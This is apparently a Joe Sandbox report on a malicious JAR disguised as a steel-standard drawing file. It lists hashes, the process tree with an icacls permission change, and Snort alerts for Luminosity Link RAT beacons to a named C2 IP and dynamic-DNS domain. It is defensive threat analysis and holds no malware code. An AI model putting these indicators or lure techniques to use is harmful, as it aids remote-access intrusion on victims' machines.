Edit tour

Windows Analysis Report
DWG Material, Standard BS 4360 GR. 40A43A.jar

Overview

General Information

Sample Name:	DWG Material, Standard BS 4360 GR. 40A43A.jar
Analysis ID:	705884
MD5:	f5f4e477595a3a7070ee43f0e044b644
SHA1:	26ce44fe72446eda537519d3d93253232a8bddca
SHA256:	7cd39be56600bf17c8a7753c6be6d6aa91233294d1a3fe30afe2905adf1e286b
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Exploit detected, runtime environment starts unknown processes

Uses dynamic DNS services

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Detected TCP or UDP traffic on non-standard ports

Internet Provider seen in connection with other malware

Contains functionality to detect virtual machines (SLDT)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6056 cmdline: C:\Windows\system32\cmd.exe /c 7za.exe x -y -oC:\jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

7za.exe (PID: 3232 cmdline: 7za.exe x -y -oC:\jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

cmd.exe (PID: 1520 cmdline: "C:\Windows\System32\cmd.exe" /c java.exe -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" de >> C:\cmdlinestart.log 2>&1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

java.exe (PID: 1396 cmdline: java.exe -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" de MD5: 28733BA8C383E865338638DF5196E6FE)

icacls.exe (PID: 5144 cmdline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M MD5: FF0D1D4317A44C951240FAE75075D501)

conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

javaw.exe (PID: 1308 cmdline: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

javaw.exe (PID: 2972 cmdline: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

javaw.exe (PID: 3276 cmdline: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound - Source IP: 194.5.98.141 - Destination IP: 192.168.2.3

Timestamp:	194.5.98.141192.168.2.35445497142811175 09/20/22-03:43:09.235557
SID:	2811175
Source Port:	5445
Destination Port:	49714
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound - Source IP: 192.168.2.3 - Destination IP: 194.5.98.141

Timestamp:	192.168.2.3194.5.98.1414971654452811176 09/20/22-03:43:09.236098
SID:	2811176
Source Port:	49716
Destination Port:	5445
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound - Source IP: 192.168.2.3 - Destination IP: 194.5.98.141

Timestamp:	192.168.2.3194.5.98.1414971454452811176 09/20/22-03:43:09.236313
SID:	2811176
Source Port:	49714
Destination Port:	5445
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound - Source IP: 194.5.98.141 - Destination IP: 192.168.2.3

Timestamp:	194.5.98.141192.168.2.35445497162811175 09/20/22-03:43:09.235529
SID:	2811175
Source Port:	5445
Destination Port:	49716
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound - Source IP: 192.168.2.3 - Destination IP: 194.5.98.141

Timestamp:	192.168.2.3194.5.98.1414971054452811176 09/20/22-03:43:09.235958
SID:	2811176
Source Port:	49710
Destination Port:	5445
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound - Source IP: 194.5.98.141 - Destination IP: 192.168.2.3

Timestamp:	194.5.98.141192.168.2.35445497102811175 09/20/22-03:43:09.235489
SID:	2811175
Source Port:	5445
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: DWG Material, Standard BS 4360 GR. 40A43A.jar	ReversingLabs: Detection: 35%
Source: DWG Material, Standard BS 4360 GR. 40A43A.jar	Virustotal: Detection: 25%			Perma Link

Multi AV Scanner detection for domain / URL

Source: bestsuccess.ddns.net

Virustotal: Detection: 13%

Perma Link

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Software Vulnerabilities

Exploit detected, runtime environment starts unknown processes

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2811176 ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound 192.168.2.3:49710 -> 194.5.98.141:5445
Source: Traffic	Snort IDS: 2811175 ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound 194.5.98.141:5445 -> 192.168.2.3:49710
Source: Traffic	Snort IDS: 2811176 ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound 192.168.2.3:49714 -> 194.5.98.141:5445
Source: Traffic	Snort IDS: 2811175 ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound 194.5.98.141:5445 -> 192.168.2.3:49714
Source: Traffic	Snort IDS: 2811176 ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound 192.168.2.3:49716 -> 194.5.98.141:5445
Source: Traffic	Snort IDS: 2811175 ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound 194.5.98.141:5445 -> 192.168.2.3:49716

Uses dynamic DNS services

Source: unknown

DNS query: name: bestsuccess.ddns.net

Source: global traffic

TCP traffic: 192.168.2.4:49709 -> 194.5.98.141:5445

Source: Joe Sandbox View

ASN Name: DANILENKODE DANILENKODE

Source: Joe Sandbox View	IP Address: 141.8.192.151 141.8.192.151
Source: Joe Sandbox View	IP Address: 141.8.192.151 141.8.192.151

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 20 Sep 2022 01:51:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 20 Sep 2022 01:51:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 20 Sep 2022 01:51:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69

Source: javaw.exe, 00000008.00000002.573961252.0000000004703000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.581306279.0000000009F86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugreport.sun.com/bugreport/
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html#6
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.htmlK
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: java.exe, 00000004.00000002.310175474.0000000009B37000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: java.exe, 00000004.00000002.310175474.0000000009B37000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.310260108.0000000009B98000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.584855664.000000000A5B5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.585176988.000000000A1B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: java.exe, 00000004.00000002.308430103.000000000483C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.573636221.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.584855664.000000000A5B5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.585176988.000000000A1B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crlC
Source: javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crlSld
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.573636221.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
